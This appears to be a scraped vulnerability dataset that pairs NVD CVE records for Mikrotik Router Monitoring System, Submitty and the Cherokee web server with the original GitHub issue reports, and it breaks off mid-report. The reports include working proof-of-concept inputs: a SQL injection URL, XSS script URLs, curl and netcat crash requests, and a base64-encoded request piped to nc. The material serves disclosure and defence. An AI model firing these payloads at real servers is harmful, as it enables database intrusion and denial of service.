{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "http://packetstormsecurity.com/files/157733/Mikrotik-Router-Monitoring-System-1.2.3-SQL-Injection.html" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/adeoluwa-adebiyi/Mikrotik-Router-Monitoring-System/issues/4" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "http://packetstormsecurity.com/files/157733/Mikrotik-Router-Monitoring-System-1.2.3-SQL-Injection.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/adeoluwa-adebiyi/Mikrotik-Router-Monitoring-System/issues/4" } ]

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[ "89" ]

89

https://github.com/adeoluwa-adebiyi/Mikrotik-Router-Monitoring-System/issues/4

[ "Exploit", "Third Party Advisory" ]

github.com

[ "adeoluwa-adebiyi", "Mikrotik-Router-Monitoring-System" ]

### Vulnerability type: SQL injection ### vulnerability code: in file `check_community.php line 49`: ``` include('credentials.php'); $community = $_GET['community']; $_SESSION['community'] = $community; $query = "SELECT name from router where `community`='$community'"; $conn = new mysqli($db_host,$db_user,$db_pwd); $conn->select_db('mikrotik'); ``` Parameter $community exists in sql injection. poc: ``` http://192.168.178.132/check_community.php?community=1' AND (SELECT 6941 FROM (SELECT(SLEEP(5)))Qaxg) AND 'sdHI'='sdHI ``` ![image](https://user-images.githubusercontent.com/36404088/82126682-c0b86580-97e0-11ea-9d82-d198899f7f2c.png)

Security issue: SQL injection

https://api.github.com/repos/adeoluwa-adebiyi/Mikrotik-Router-Monitoring-System/issues/4/comments

0

2020-05-16T17:52:00Z

2021-09-27T19:44:27Z

https://github.com/adeoluwa-adebiyi/Mikrotik-Router-Monitoring-System/issues/4

619,524,622

4

1,213

CVE-2020-13121

2020-05-16T20:15:12.000

Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Submitty/Submitty/issues/5265" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Submitty/Submitty/issues/5265" } ]

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[ "601" ]

601

https://github.com/Submitty/Submitty/issues/5265

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Submitty", "Submitty" ]

**Describe the bug** It is possible to redirect a user to an attacker owned domain and trick the user. I am investigating on the potential chaining of this bug to perform other attacks. **Expected behavior** Redirection to external urls must not be allowed. **To Reproduce** This occurs at the main login page when the user enters an invalid username/password. The url gets changed to `http://localhost:1501/authentication/login?old=http%3A%2F%2Flocalhost%3A1501%2Fhome` An attacker can change the url(to any attacker owned domain which may mimic submitty interface) to something like `localhost:1501/authentication/login?old=http%3A%2F%2Flgoogle.com` and trick redirection to google.com users after they enter their creds. **Additional context** This can be prevented either by- 1. Adding regex checks on url and whitelisting the url. 2. Completely removing GET request based url redirection. I am trying to fix this but thought to create this issue for others to contribute the fix if interested.

[Security Bug] Open Redirection Vulnerability at Login Page

https://api.github.com/repos/Submitty/Submitty/issues/5265/comments

3

2020-04-19T16:32:45Z

2020-05-28T23:42:01Z

https://github.com/Submitty/Submitty/issues/5265

602,760,697

5,265

1,214

CVE-2019-20798

2020-05-18T00:15:11.157

An XSS issue was discovered in handler_server_info.c in Cherokee through 1.2.104. The requested URL is improperly displayed on the About page in the default configuration of the web server and its administrator panel. The XSS in the administrator panel can be used to reconfigure the server and execute arbitrary commands.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.4, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.7, "impactScore": 6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1227" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1227" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" } ]

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[ "79" ]

79

https://github.com/cherokee/webserver/issues/1227

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cherokee", "webserver" ]

Requested URL is improperly displayed on the About page. The problem occurs on default configuration in Cherokee and Cheroke administrator panel. XSS in administrator panel can be used to reconfigure the server and execute arbitrary commands. ### PoC ``` http://127.0.0.1/about/"><script>alert(1)</script> http://127.0.0.1:9090/about/"><script>alert(1)</script> ``` ### Setup: - Ubuntu 18.04 64 bit - source code from github, commit 9a75e65b876bcc376cb6b379dca1f7ce4a055c59 - build command: ``` ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no make ``` - files in webroot `mkdir /var/www/test{1..20}; for i in `seq 1 20`; do echo test > test$i/test.html; done` - configuration file [cherokee.txt](https://github.com/cherokee/webserver/files/3432046/cherokee.txt) found by: Mateusz Kocielski, Michał Dardas from LogicalTrust

Reflected XSS in handler_server_info

https://api.github.com/repos/cherokee/webserver/issues/1227/comments

1

2019-07-25T14:44:52Z

2019-11-14T07:47:17Z

https://github.com/cherokee/webserver/issues/1227

472,908,037

1,227

1,215

CVE-2019-20799

2020-05-18T00:15:11.237

In Cherokee through 1.2.104, multiple memory corruption errors may be used by a remote attacker to destabilize the work of a server.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" } ]

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[ "787" ]

787

https://github.com/cherokee/webserver/issues/1221

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cherokee", "webserver" ]

It's possible to trigger NULL pointer dereference in case if request uses POST method with empty body. cherokee/handler_admin.c ``` [...] 204 ret_t 205 cherokee_handler_admin_read_post (cherokee_handler_admin_t *hdl) 206 { 207 int re; 208 ret_t ret; 209 char *tmp; 210 cherokee_buffer_t post = CHEROKEE_BUF_INIT; 211 cherokee_buffer_t line = CHEROKEE_BUF_INIT; 212 cherokee_connection_t *conn = HANDLER_CONN(hdl); 213 214 /* Check for the post info 215 */ 216 if (! conn->post.has_info) { 217 conn->error_code = http_bad_request; 218 return ret_error; 219 } 220 221 /* Process line per line 222 */ 223 ret = cherokee_post_read (&conn->post, &conn->socket, &post); 224 switch (ret) { 225 case ret_ok: 226 case ret_eagain: 227 break; 228 default: 229 conn->error_code = http_bad_request; 230 return ret_error; 231 } 232 233 /* Parse 234 */ 235 TRACE (ENTRIES, "Post contains: '%s'\n", post.buf); 236 237 cherokee_dwriter_list_open (&hdl->dwriter); 238 239 for (tmp = post.buf;;) { 240 char *end1 = strchr (tmp, CHR_LF); [...] ``` If post body is empty then post.buf is NULL and strchr on tmp results in NULL pointer dereference. ### Proof of concept: ``` curl -d "" http://127.0.0.1:8765/test15/ ``` test15 is the admin handler. ``` ### ASAN report: ================================================================= ==494==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f221a131ad3 bp 0x7f2213bf4be0 sp 0x7f2213bf4368 T8) #0 0x7f221a131ad2 (/lib/x86_64-linux-gnu/libc.so.6+0x89ad2) #1 0x7f221b898236 in strchr (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x71236) #2 0x5098f2 in cherokee_handler_admin_read_post /home/shm/src/webserver/cherokee/handler_admin.c:240 #3 0x546dfe in cherokee_handler_read_post /home/shm/src/webserver/cherokee/handler.c:107 #4 0x53770c in cherokee_connection_read_post /home/shm/src/webserver/cherokee/connection.c:684 #5 0x489273 in process_active_connections /home/shm/src/webserver/cherokee/thread.c:1235 #6 0x48df03 in cherokee_thread_step_MULTI_THREAD /home/shm/src/webserver/cherokee/thread.c:2086 #7 0x48239f in thread_routine /home/shm/src/webserver/cherokee/thread.c:99 #8 0x7f221ad316b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9) #9 0x7f221a1af41c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? Thread T8 created by T0 here: #0 0x7f221b85d253 in pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x36253) #1 0x483292 in cherokee_thread_new /home/shm/src/webserver/cherokee/thread.c:247 #2 0x46ded5 in initialize_server_threads /home/shm/src/webserver/cherokee/server.c:671 #3 0x4700f2 in cherokee_server_initialize /home/shm/src/webserver/cherokee/server.c:1053 #4 0x417e26 in common_server_initialization /home/shm/src/webserver/cherokee/main_worker.c:255 #5 0x41881d in main /home/shm/src/webserver/cherokee/main_worker.c:393 #6 0x7f221a0c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ==494==ABORTING ``` ### Setup: - Ubuntu 18.04 64 bit - source code from github, commit 9a75e65b876bcc376cb6b379dca1f7ce4a055c59 - build command: ``` ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no make ``` - files in webroot `mkdir /var/www/test{1..20}; for i in `seq 1 20`; do echo test > test$i/test.html; done` - configuration file [cherokee.txt](https://github.com/cherokee/webserver/files/3432046/cherokee.txt) found by: Mateusz Kocielski, Michał Dardas from LogicalTrust

remote null pointer dereference trigger in admin handler

https://api.github.com/repos/cherokee/webserver/issues/1221/comments

4

2019-07-25T14:31:07Z

2019-11-14T08:11:35Z

https://github.com/cherokee/webserver/issues/1221

472,900,471

1,221

1,216

CVE-2019-20799

2020-05-18T00:15:11.237

In Cherokee through 1.2.104, multiple memory corruption errors may be used by a remote attacker to destabilize the work of a server.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" } ]

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[ "787" ]

787

https://github.com/cherokee/webserver/issues/1222

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cherokee", "webserver" ]

cherokee/buffer.c: ``` [...] escape_with_table (cherokee_buffer_t *buffer, 1342 cherokee_buffer_t *src, 1343 uint32_t *is_char_escaped) [...] 1346 const char *s,*s_next; [...] 1359 s = src->buf; 1360 do { 1361 s_next = utf8_get_next_char (s); 1362 1363 /* It's single-byte character */ 1364 if ((s_next - s) == 1) { 1365 1366 /* Check whether it has to be escaped */ 1367 if (is_char_escaped[*s >> 5] & (1 << (*s & 0x1f))) { [...] ``` in the line 1367 *s is used to index is_char_escaped table. Because *s is signed then we can get (negative value) >> 5 which results in negative value, so we access memory _before_ is_char_escaped. ### Simple PoC to reproduce ``` echo -e "GET http://SilaHonorUlica/test8/test\xff.html HTTP/1.1\nHost: xoxoxo\nUser-Agent: netcat\n\n" | nc ::1 8765 ``` test8 is a handler for proxy module ### Patch for this issue: ``` diff --git a/cherokee/buffer.c b/cherokee/buffer.c index d93c163..9250c5c 100644 --- a/cherokee/buffer.c +++ b/cherokee/buffer.c @@ -1343,8 +1343,8 @@ escape_with_table (cherokee_buffer_t *buffer, uint32_t *is_char_escaped) { char *t; - const char *s,*s_next; - char *end; + const unsigned char *s,*s_next; + unsigned char *end; cuint_t n_escape = 0; static char hex_chars[] = "0123456789abcdef"; ``` ### Setup: - Ubuntu 18.04 64 bit - source code from github, commit 9a75e65b876bcc376cb6b379dca1f7ce4a055c59 - build command: ``` ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no make ``` - files in webroot `mkdir /var/www/test{1..20}; for i in `seq 1 20`; do echo test > test$i/test.html; done` - configuration file [cherokee.txt](https://github.com/cherokee/webserver/files/3432046/cherokee.txt) found by: Mateusz Kocielski, Michał Dardas from LogicalTrust

escape_with_table invalid access

https://api.github.com/repos/cherokee/webserver/issues/1222/comments

0

2019-07-25T14:34:23Z

2019-11-14T14:59:41Z

https://github.com/cherokee/webserver/issues/1222

472,902,318

1,222

1,217

CVE-2019-20799

2020-05-18T00:15:11.237

In Cherokee through 1.2.104, multiple memory corruption errors may be used by a remote attacker to destabilize the work of a server.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cherokee-project:cherokee:*:*:*:*:*:*:*:*", "matchCriteriaId": "1FDFC431-553A-4EF1-9450-9F9310415845", "versionEndExcluding": null, "versionEndIncluding": "1.2.104", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "787" ]

787

https://github.com/cherokee/webserver/issues/1225

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cherokee", "webserver" ]

### PoC ``` echo -n 'R0VUIC90ZXN0MTAvdGVzdC5odG1sIEhUVFAvMS4xCkFjY2VwdDogMTI3LjAuMC4xCkFjY2VwdC1DaGFyc2V0OiAxMjcuMC4wLjEKQWNjZXB0LUVuY29kaW5nOiAxMjcuMC4wLjEKQWNjZXB0LUxhbmd1YWdlOiAxMjcuMC4wLjEKQXV0aG9yaXphdGlvbjogMTI3LjAuMC4xCkNhY2hlLUNvbnRyb2w6IDEyNy4wLjAuMQpDaGFyZ2UtVG86IDEyNy4wLjAuMQpDb25uZWN0aW9uOiAxMjcuMC4wLjEKQ29udGVudC1UeXBlOiAxMjcuMC4wLjEKQ29va2llOiAxMjcuMC4wLjEKRE5UOiAxMjcuMC4wLjEKRXhwZWN0OiAxMjcuMC4wLjEKRm9yd2FyZGVkOiAxMjcuMC4wLjEKRnJvbTogMTI3LjAuMC4xCkZyb250LUVuZC1IdHRwZDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpJZi1NYXRjaDogMTI3LjAuMC4xCklmLU1vZGlmaWVkLVNpbmNlOiAxMjcuMC4wLjEKSWYtTm9uZS1NYXRjaDogMTI3LjAuMC4xCklmLVJhbmdlOiAxMjcuMC4wLjEKSWYtVW5tb2RpZmllZC1TaW5jZTogMTI3LjAuMC4xCktlZXAtQWxpdmU6IDEyNy4wLjAuMQpNYXgtRm9yd2FyZHM6IDEyNy4wLjAuMQpOZWdvdGlhdGU6IDEyNy4wLjAuMQpQcmFnbWE6IDEyNy4wLjAuMQpQcm94eS1BdXRob3JpemF0aW9uOiAxMjcuMC4wLjEKUHJveHktQ29ubmVjdGlvbjogMTI3LjAuMC4xCk9yaWdpbjogMTI3LjAuMC4xClJhbmdlOiAxMjcuMC4wLjEKVEU6IDEyNy4wLjAuMQpUcmFuc2Zlci1FbmNvZGluZzogMTI3LjAuMC4xClRyYW5zZmVyLUVuY29kaW5nOiAxMjcuMC4wLjEKVXBncmFkZTogMTI3LjAuMC4xClVwZ3JhZGU6IDEyNy4wLjAuMQpVc2VyLUFnZW50OiAxMjcuMC4wLjEKVXNlci1BZ2VudDogMTI3LjAuMC4xClVzZXItQWdlbnQ6IDEyNy4wLjAuMQpWaWE6IDEyNy4wLjAuMQpQcm94eS1BdXRob3JpemF0aW9uOiAxMjcuMC4wLjEKUHJveHktQ29ubmVjdGlvbjogMTI3LjAuMC4xCk9yaWdpbjogMTI3LjAuMC4xClJhbmdlOiAxMjcuMC4wLjEKUmVmZXJlcjogMTI3LjAuMC4xClJlZmVyZXI6IDEyNy4wLjAuMQpSZXF1ZXN0LVJhbmdlOiAxMjcuMC4wLjEKVEU6IDEyNy4wLjAuMQpUcmFuc2Zlci1FbmNvZGluZzogMTI3LjAuMC4xClRyYW5zZmVyLUVuY29kaW5nOiAxMjcuMC4wLjEKVXBncmFkZTogMTI3LjAuMC4xClVwZ3JhZGU6IDEyNy4wLjAuMQpVc2VyLUFnZW50OiAxMjcuMC4wLjEKVXNlci1BZ2VudDogMTI3LjAuMC4xClVzZXItQWdlbnQ6IDEyNy4wLjAuMQpWaWE6IDEyNy4wLjAuMQpYLUFUVC1EZXZpY2VJZDogMTI3LjAuMC4xClgtRm9yd2FyZGVkLUZvcjogMTI3LjAuMC4xClgtRm9yd2FyZGVkLUhvc3Q6IDEyNy4wLjAuMQpYLUZvcndhcmRlZC1Qcm90bzogMTI3LjAuMC4xClgtRm9yd2FyZGVkLVNlcnZlcjogMTI3LjAuMC4xClgtUmVxdWVzdGVkLVdpdGg6IDEyNy4wLjAuMQpYLWxvcmktdGltZS0xOiAxMjcuMC4wLjEKWC1Eby1Ob3QtVHJhY2s6IDEyNy4wLjAuMQpYLUNvbnRlbnQtU2VjdXJpdHktUG9saWN5OiAxMjcuMC4wLjEKWC1Db250ZW50LVR5cGUtT3B0aW9uczogMTI3LjAuMC4xClgtRnJhbWUtT3B0aW9uczogMTI3LjAuMC4xClgtWFNTLVByb3RlY3Rpb246IDEyNy4wLjAuMQpYLVdhcC1Qcm9maWxlOiAxMjcuMC4wLjEKCgo=' | base64 -d | nc 127.0.0.1 80 ``` ### ASAN ``` ==26982==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6180000117c0 at pc 0x559e00d26059 bp 0x7f01f18e9250 sp 0x7f01f18e9240 READ of size 8 at 0x6180000117c0 thread T4 #0 0x559e00d26058 in cherokee_services_client_spawn /home/mmm/fuzz/webserver/cherokee/services-client.c:201 #1 0x559e00d5dd3c in 